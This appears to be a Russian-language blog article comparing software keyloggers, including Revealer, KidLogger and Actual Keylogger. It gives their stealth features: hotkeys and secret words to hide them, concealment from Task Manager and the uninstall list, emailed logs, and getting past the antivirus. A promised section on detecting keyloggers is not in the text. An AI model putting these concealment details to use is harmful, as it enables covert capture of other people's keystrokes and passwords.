    Основанный на использовании специального оборудования кейлогер (как слева – в разрез провода клавиатуры) редко используется, требует профессиональных навыков в установке и обслуживании. И напротив, его не так трудно обнаружить, а потому о нём поговорим как-нибудь в другой раз. А сейчас расскажу о перехватчиках в виде программного обеспечения, которые могут «работать» в вашей системе продолжительное время, а вы даже о том не догадываться. О том, как определять, не запущен ли кейлогер на компьютере, поговорим в конце статьи. Приступим к тому, что сегодня есть в сети по этой теме. В интернете, как и ожидалось, этого добра немало. Есть бесплатные программы, есть и оплачиваемые версии.

    Для чего нужен кейлоггер?

    Специфика программы не оставляет тени сомнения на применение таких утилит: она позволяет шпионить за пользователем, передавая напечатанные на клавиатуре символы. Другой вопрос: кем и против кого?

    • вполне понятна забота родителей о путешествующих по сети чадах, чья сетевая деятельность начинает беспокоить отца и мать, которые не желают, однако, открыто идти на конфликт с ребёнком, запрещая всё и вся. Не раз такие утилиты просто выручали, сигнализируя о появлении у ребёнка в социальной сети друга, который «немного» старше и собирается реализовать свои больные фантазии.
    • вполне законно желание работодателя, когда он хочет убедиться, что работник тратит своё время за компьютером с пользой. И, если оно не так, предъявить претензии доказательно. Заодно убедиться, что пара секретов не «ушла на сторону».
    • наконец, незаконное подключение к компьютеру пользователя с целю украсть набираемые пароли, логины и прочее.

    Кейлоггер Free keylogger .

    Может перехватывать символы с клавиатуры, данные, содержащиеся в буфере обмена и сетевые адреса из адресной строки браузера. Есть парочка незаметных функций, например, скрытый режим работы (Ctrl+Shift+Alt+U), удаление ярлыков программы и сокрытие из списка установленных и удаляемых программ. Минус программы: в бесплатной её версии самую важную функцию – сокрытие от глаз пользователя – включить не удастся. Автозапуск в Windows возможен, однако запущенная программа будет предательски помигивать из трея. Скрыть от глаз не получится – выскакивает окно с уведомлением о том, что функция доступна в платной версии. Как и некоторые другие.

    Единственное окно программы, где:

    1. Позволит программе запуститься сразу со стартом системы
    2. Спрячет программу в меню Пуск
    3. Позволит перехватывать ещё и адреса в браузере и (правее) названия запущенных программ
    4. Ежедневно буде оповещать по указанному в поле почтовому адресу

    При установке несколько минут придётся побороться с антивирусом, ибо от него ни настройка, ни запуски утилиты не ускользнут.

    Кейлоггер DanuSoft

    Простенький и бесплатный. Также представлен в виде окна с 4-мя вкладками. Может спрятаться по введению секретного слова. По умолчанию это HIDEKEY (спрятать ключ), и можно заставить появиться SHOWKEY (показать).

    Во вкладке Log File Settings можно указать размер документа с перехваченными записями и, собственно, показать его самого. Во вкладке Startup Settings всего 2 настройки: запуск вместе с Windows и режим невидимки.

    Кейлоггер

    Очередная простенькая программа. После установки вас встретит красочное окошечко. Функционал беден, сама по себе не прячется. Зато бесплатно. Сразу после установки попросит установить пароль, чтобы информация после перехвата стала доступна только установщику:

    Окно самой программы:

    Кейлоггер REFOG Free Keylogger

    Бесплатная версия программы, производитель которой изрядно поднаторел в таких программах, способна перехватывать набранные символы, посещённые сайты, запущенные программы. Однако сразу предупреждаю – у немалого числа пользователей возникали трудности с удалением программы, особенно платной версии, так что пробуйте её на свой страх и риск. По этой ссылке вы можете скачать последнюю версию программы .

    Кейлоггер Revealer Keylogger Free

    Одна из самых популярных программ в сети. Функций немало, проста в применении. Защищена паролем, в системном трее не висит, не видно и в настройке по установке и удалению программ. Устанавливать следует внимательно, так как к установке на компьютер просится ещё какая-то программа. Снимки с экрана будут доступны только в оплачиваемой версии. При закрытии предупредит, что будет продолжать работать фоном (вернуть можно с помощью Ctrl+Alt+F9). Программа русифицирована, так что в настройках разберётесь быстро:

    Кейлоггер KidLogger

    Бесплатный, с открытым кодом. Это уже умеет работать с USB устройствами. Записывает звук с микрофона, работает со Skype. Лог-файлы можно просматривать локально и удалённо с помощью специально созданного аккаунта в сети. Работает в скрытом режиме, однако наблюдается из Диспетчера задач. Можно защитить паролем, но запускать придётся с ярлыка, что в принципе не проблема, прописав запуск в автозагрузке с windows. Скачать можно по ссылке и там же выбрать нужную операционную систему (у меня в архиве windows-версия):

    Кейлоггер Actual Keylogger

    В отличие от предыдущих программ, абсолютно невидим. Его нельзя разглядеть и в Диспетчере, папка с программой окажется скрыта, ярлыки не высвечиваются. Удалить через традиционный деинсталлятор вы также его не сможете. Очень хитрая вещь. Также имеет защиту паролем. Антивирусы его очень не любят. Есть у меня в архиве. Но программа платная, установите и ознакомьтесь с возможностями.

    Прочитано: 438